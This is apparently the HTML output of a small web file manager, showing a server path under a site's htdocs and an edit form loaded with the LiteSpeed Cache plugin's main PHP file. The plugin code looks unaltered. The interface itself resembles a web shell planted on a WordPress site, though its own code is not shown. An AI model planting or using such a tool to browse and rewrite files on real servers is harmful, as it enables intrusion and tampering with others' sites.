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a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
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</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Flitespeed-cache%2F'>litespeed-cache</a>/</p><hr><h3>✏️ Editing: litespeed-cache.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Plugin Name:       LiteSpeed Cache
 * Plugin URI:        https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration
 * Description:       High-performance page caching and site optimization from LiteSpeed
 * Version:           7.9.1
 * Author:            LiteSpeed Technologies
 * Author URI:        https://www.litespeedtech.com
 * License:           GPLv3
 * License URI:       https://www.gnu.org/licenses/gpl-3.0.html
 * Text Domain:       litespeed-cache
 * Domain Path:       /lang
 *
 * @package           LiteSpeed
 *
 * Copyright (C) 2015-2026 LiteSpeed Technologies, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
 */

defined( &#039;WPINC&#039; ) || exit();

if ( defined( &#039;LSCWP_V&#039; ) ) {
	return;
}

! defined( &#039;LSCWP_V&#039; ) &amp;&amp; define( &#039;LSCWP_V&#039;, &#039;7.9.1&#039; );

! defined( &#039;LSCWP_CONTENT_DIR&#039; ) &amp;&amp; define( &#039;LSCWP_CONTENT_DIR&#039;, WP_CONTENT_DIR );
! defined( &#039;LSCWP_DIR&#039; ) &amp;&amp; define( &#039;LSCWP_DIR&#039;, __DIR__ . &#039;/&#039; ); // Full absolute path &#039;/var/www/html/***/wp-content/plugins/litespeed-cache/&#039; or MU
! defined( &#039;LSCWP_BASENAME&#039; ) &amp;&amp; define( &#039;LSCWP_BASENAME&#039;, &#039;litespeed-cache/litespeed-cache.php&#039; ); // LSCWP_BASENAME=&#039;litespeed-cache/litespeed-cache.php&#039;

/**
 * This needs to be before activation because admin-rules.class.php need const `LSCWP_CONTENT_FOLDER`
 * This also needs to be before cfg.cls init because default cdn_included_dir needs `LSCWP_CONTENT_FOLDER`
 *
 * @since  5.2 Auto correct protocol for CONTENT URL
 */
$wp_content_url = WP_CONTENT_URL;
$site_url       = site_url( &#039;/&#039; );
if ( &#039;http:&#039; === substr( $wp_content_url, 0, 5 ) &amp;&amp; &#039;https&#039; === substr( $site_url, 0, 5 ) ) {
	$wp_content_url = str_replace( &#039;http://&#039;, &#039;https://&#039;, $wp_content_url );
}
! defined( &#039;LSCWP_CONTENT_FOLDER&#039; ) &amp;&amp; define( &#039;LSCWP_CONTENT_FOLDER&#039;, str_replace( $site_url, &#039;&#039;, $wp_content_url ) ); // `wp-content`
unset( $site_url );
! defined( &#039;LSWCP_PLUGIN_URL&#039; ) &amp;&amp; define( &#039;LSWCP_PLUGIN_URL&#039;, plugin_dir_url( __FILE__ ) ); // Full URL path &#039;//example.com/wp-content/plugins/litespeed-cache/&#039;

/**
 * Static cache files consts
 *
 * @since  3.0
 */
! defined( &#039;LITESPEED_DATA_FOLDER&#039; ) &amp;&amp; define( &#039;LITESPEED_DATA_FOLDER&#039;, &#039;litespeed&#039; );
! defined( &#039;LITESPEED_STATIC_URL&#039; ) &amp;&amp; define( &#039;LITESPEED_STATIC_URL&#039;, $wp_content_url . &#039;/&#039; . LITESPEED_DATA_FOLDER ); // Full static cache folder URL &#039;//example.com/wp-content/litespeed&#039;
unset( $wp_content_url );
! defined( &#039;LITESPEED_STATIC_DIR&#039; ) &amp;&amp; define( &#039;LITESPEED_STATIC_DIR&#039;, LSCWP_CONTENT_DIR . &#039;/&#039; . LITESPEED_DATA_FOLDER ); // Full static cache folder path &#039;/var/www/html/***/wp-content/litespeed&#039;

! defined( &#039;LITESPEED_TIME_OFFSET&#039; ) &amp;&amp; define( &#039;LITESPEED_TIME_OFFSET&#039;, get_option( &#039;gmt_offset&#039; ) * 60 * 60 );

// Placeholder for lazyload img
! defined( &#039;LITESPEED_PLACEHOLDER&#039; ) &amp;&amp; define( &#039;LITESPEED_PLACEHOLDER&#039;, &#039;data:image/gif;base64,R0lGODdhAQABAPAAAMPDwwAAACwAAAAAAQABAAACAkQBADs=&#039; );

// Auto register LiteSpeed classes
require_once LSCWP_DIR . &#039;autoload.php&#039;;

// Define CLI
if ( ( defined( &#039;WP_CLI&#039; ) &amp;&amp; constant(&#039;WP_CLI&#039;) ) || &#039;cli&#039; === PHP_SAPI ) {
	! defined( &#039;LITESPEED_CLI&#039; ) &amp;&amp; define( &#039;LITESPEED_CLI&#039;, true );

	// Register CLI cmd
	if ( method_exists( &#039;WP_CLI&#039;, &#039;add_command&#039; ) ) {
		WP_CLI::add_command( &#039;litespeed-option&#039;, &#039;LiteSpeed\CLI\Option&#039; );
		WP_CLI::add_command( &#039;litespeed-purge&#039;, &#039;LiteSpeed\CLI\Purge&#039; );
		WP_CLI::add_command( &#039;litespeed-online&#039;, &#039;LiteSpeed\CLI\Online&#039; );
		WP_CLI::add_command( &#039;litespeed-image&#039;, &#039;LiteSpeed\CLI\Image&#039; );
		WP_CLI::add_command( &#039;litespeed-debug&#039;, &#039;LiteSpeed\CLI\Debug&#039; );
		WP_CLI::add_command( &#039;litespeed-presets&#039;, &#039;LiteSpeed\CLI\Presets&#039; );
		WP_CLI::add_command( &#039;litespeed-crawler&#039;, &#039;LiteSpeed\CLI\Crawler&#039; );
		WP_CLI::add_command( &#039;litespeed-database&#039;, &#039;LiteSpeed\CLI\Database&#039; );
	}
}

// Server type
if ( ! defined( &#039;LITESPEED_SERVER_TYPE&#039; ) ) {
	$http_x_lscache  = isset( $_SERVER[&#039;HTTP_X_LSCACHE&#039;] ) ? sanitize_text_field( wp_unslash( $_SERVER[&#039;HTTP_X_LSCACHE&#039;] ) ) : &#039;&#039;;
	$lsws_edition    = isset( $_SERVER[&#039;LSWS_EDITION&#039;] ) ? sanitize_text_field( wp_unslash( $_SERVER[&#039;LSWS_EDITION&#039;] ) ) : &#039;&#039;;
	$server_software = isset( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) ? sanitize_text_field( wp_unslash( $_SERVER[&#039;SERVER_SOFTWARE&#039;] ) ) : &#039;&#039;;

	if ( $http_x_lscache ) {
		define( &#039;LITESPEED_SERVER_TYPE&#039;, &#039;LITESPEED_SERVER_ADC&#039; );
	} elseif ( 0 === strpos( $lsws_edition, &#039;Openlitespeed&#039; ) ) {
		define( &#039;LITESPEED_SERVER_TYPE&#039;, &#039;LITESPEED_SERVER_OLS&#039; );
	} elseif ( &#039;LiteSpeed&#039; === $server_software ) {
		define( &#039;LITESPEED_SERVER_TYPE&#039;, &#039;LITESPEED_SERVER_ENT&#039; );
	} else {
		define( &#039;LITESPEED_SERVER_TYPE&#039;, &#039;NONE&#039; );
	}
}

// Checks if caching is allowed via server variable
if ( ! empty( $_SERVER[&#039;X-LSCACHE&#039;] ) || &#039;LITESPEED_SERVER_ADC&#039; === LITESPEED_SERVER_TYPE || defined( &#039;LITESPEED_CLI&#039; ) ) {
	! defined( &#039;LITESPEED_ALLOWED&#039; ) &amp;&amp; define( &#039;LITESPEED_ALLOWED&#039;, true );
}

// ESI const definition
if ( ! defined( &#039;LSWCP_ESI_SUPPORT&#039; ) ) {
	define( &#039;LSWCP_ESI_SUPPORT&#039;, LITESPEED_SERVER_TYPE !== &#039;LITESPEED_SERVER_OLS&#039; );
}

if ( ! defined( &#039;LSWCP_TAG_PREFIX&#039; ) ) {
	define( &#039;LSWCP_TAG_PREFIX&#039;, substr( md5( LSCWP_DIR ), -3 ) );
}

if ( ! function_exists( &#039;litespeed_exception_handler&#039; ) ) {
	/**
	 * Handle exception
	 *
	 * @param int    $errno   Error number.
	 * @param string $errstr  Error string.
	 * @param string $errfile Error file.
	 * @param int    $errline Error line.
	 * @throws \ErrorException When an error is encountered.
	 */
	function litespeed_exception_handler( $errno, $errstr, $errfile, $errline ) {
		throw new \ErrorException(
			esc_html( $errstr ),
			0,
			absint( $errno ),
			esc_html( $errfile ),
			absint( $errline )
		);
	}
}

if ( ! function_exists( &#039;litespeed_define_nonce_func&#039; ) ) {
	/**
	 * Overwrite the WP nonce funcs outside of LiteSpeed namespace
	 *
	 * @since  3.0
	 */
	function litespeed_define_nonce_func() {
		/**
		 * If the nonce is in none_actions filter, convert it to ESI
		 *
		 * @param mixed $action Action name or -1.
		 * @return string
		 */
		function wp_create_nonce( $action = -1 ) {
			if ( ! defined( &#039;LITESPEED_DISABLE_ALL&#039; ) || ! LITESPEED_DISABLE_ALL ) {
				$control = \LiteSpeed\ESI::cls()-&gt;is_nonce_action( $action );
				if ( null !== $control ) {
					$params = array(
						&#039;action&#039; =&gt; $action,
					);
					return \LiteSpeed\ESI::cls()-&gt;sub_esi_block( &#039;nonce&#039;, &#039;wp_create_nonce &#039; . $action, $params, $control, true, true, true );
				}
			}

			return wp_create_nonce_litespeed_esi( $action );
		}

		/**
		 * Ori WP wp_create_nonce
		 *
		 * @param mixed $action Action name or -1.
		 * @return string
		 */
		function wp_create_nonce_litespeed_esi( $action = -1 ) {
			$uid = get_current_user_id();
			if ( ! $uid ) {
				/** This filter is documented in wp-includes/pluggable.php */
				$uid = apply_filters( &#039;nonce_user_logged_out&#039;, $uid, $action );
			}

			$token = wp_get_session_token();
			$i     = wp_nonce_tick_litespeed_esi( $action );

			return substr( wp_hash( $i . &#039;|&#039; . $action . &#039;|&#039; . $uid . &#039;|&#039; . $token, &#039;nonce&#039; ), -12, 10 );
		}

		/**
		 * Gets the nonce tick for the given action.
		 *
		 * WordPress 6.1 added the nonce action parameter to wp_nonce_tick(), allowing
		 * plugins to customize nonce lifetimes per action via the nonce_life filter.
		 * Use the action-aware call when available so ESI-generated nonces match the
		 * values that wp_verify_nonce()/check_ajax_referer() expect.
		 *
		 * @param mixed $action Action name or -1.
		 * @return float
		 */
		function wp_nonce_tick_litespeed_esi( $action = -1 ) {
			static $wp_nonce_tick_accepts_action = null;

			if ( null === $wp_nonce_tick_accepts_action ) {
				$reflection                   = new \ReflectionFunction( &#039;wp_nonce_tick&#039; );
				$wp_nonce_tick_accepts_action = $reflection-&gt;getNumberOfParameters() &gt; 0;
			}

			if ( $wp_nonce_tick_accepts_action ) {
				return wp_nonce_tick( $action );
			}

			return wp_nonce_tick();
		}
	}
}

if ( ! function_exists( &#039;run_litespeed_cache&#039; ) ) {
	/**
	 * Begins execution of the plugin.
	 *
	 * @since    1.0.0
	 */
	function run_litespeed_cache() {
		// Check minimum PHP requirements, which is 7.4 at the moment.
		if ( version_compare( PHP_VERSION, &#039;7.4.0&#039;, &#039;&lt;&#039; ) ) {
			return;
		}

		// Check minimum WP requirements, which is 6.0 at the moment.
		if ( version_compare( $GLOBALS[&#039;wp_version&#039;], &#039;6.0&#039;, &#039;&lt;&#039; ) ) {
			return;
		}

		\LiteSpeed\Core::cls();
	}

	run_litespeed_cache();
}
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